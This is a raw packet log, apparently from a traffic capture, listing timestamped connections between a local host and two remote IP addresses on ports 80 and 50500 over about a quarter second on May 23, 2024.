May 23, 2024 23:33:07.966185093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966202021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966218948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966232061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966253042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966269016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966286898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966298103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966320038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966335058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966352940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966365099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966387987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966402054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966427088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966666937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966717958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966881037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966913939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966931105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966943026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966955900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966976881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966994047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967015028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967017889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967048883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967061043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967082024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967097044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967113972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967128992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967147112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967169046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967175007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967189074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967209101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967220068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967242002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967257977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967274904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967288971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967323065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967765093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967798948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967830896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967854023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967879057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967916012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967951059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.967966080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.967983961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.968015909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.968024015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.968024015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.968049049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.968100071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.971668959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.971703053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.971743107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.971744061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040254116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040296078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040353060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040385962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040419102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040452957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040477991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040484905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040478945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040478945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040478945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040564060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040564060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040590048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040680885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040805101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040806055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040846109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040880919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040894985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040931940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040962934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.040966034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.040985107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.041018963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.044688940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.044755936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.045141935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.045299053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049513102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049572945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049604893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049638987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049663067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049670935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049690008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049726963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049732924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049767017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049786091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049799919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049809933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049851894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.049932957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.049988031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050061941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050093889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050115108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050124884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050137997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050179958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050200939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050234079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050255060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050276995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050334930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050367117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050389051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050409079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050416946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050450087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050468922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050498962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050507069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050544977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050568104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050585985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050751925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050810099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050836086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050867081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050892115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050909996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050928116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050961018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.050985098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.050990105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051007986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051023960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051031113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051074028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051141977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051176071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051197052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051218033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051343918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051377058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051399946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051409960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051420927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051444054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051460981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051491976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051496029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051531076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051548958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051563978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051573038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051615000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051791906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051826000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051850080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051857948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.051867962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051907063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.051989079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052021980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052045107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052054882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052064896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052088022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052104950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052135944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052246094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052278996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052299976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052310944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052320004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052342892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052364111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052390099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052407026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052438974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052463055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052472115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052481890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052525997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052750111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052799940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052808046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052833080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052859068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052866936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052881002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052900076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052921057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.052932978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052964926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.052983999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053009987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053131104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053184986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053251028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053283930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053308964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053312063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053330898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053345919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053370953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053381920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053390026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053415060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053431988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053447962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053455114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053499937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053694963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053730011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053750992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053761959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053771019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053808928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053838015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053870916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053891897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053903103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.053919077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.053942919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054122925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054157019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054179907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054189920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054199934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054223061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054240942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054255962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054265022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054303885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054425955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054460049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054478884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054501057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054512978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054563999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054708004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054739952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054764032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054771900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054783106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054805040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054817915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054838896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054857969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054871082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.054897070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.054915905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055044889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055099964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055152893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055186033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055207968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055217981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055229902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055252075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055272102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055279970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055313110 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055337906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055356026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055452108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055485010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055506945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055517912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055526972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055569887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055751085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055784941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055808067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055815935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055825949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055850029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055871010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055883884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055896044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055916071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055936098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055951118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.055958986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.055984974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.056034088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.061000109 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:08.114975929 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:08.133272886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133322954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133377075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133410931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133445024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133477926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133492947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133492947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133492947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133492947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133492947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133512020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133575916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133575916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133661985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133697033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133733034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133766890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133800983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133836031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.133836985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133837938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133837938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133837938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133912086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.133913040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.138020992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.138186932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.142894983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.142929077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143038034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143090010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143088102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143089056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143089056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143122911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143156052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143157005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143218994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143287897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143321991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143431902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143448114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143449068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143484116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143512011 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143517017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143536091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143552065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143582106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143584967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143604994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143619061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.143626928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.143652916 CEST	80	49733	185.172.128.82	192.168.2.4
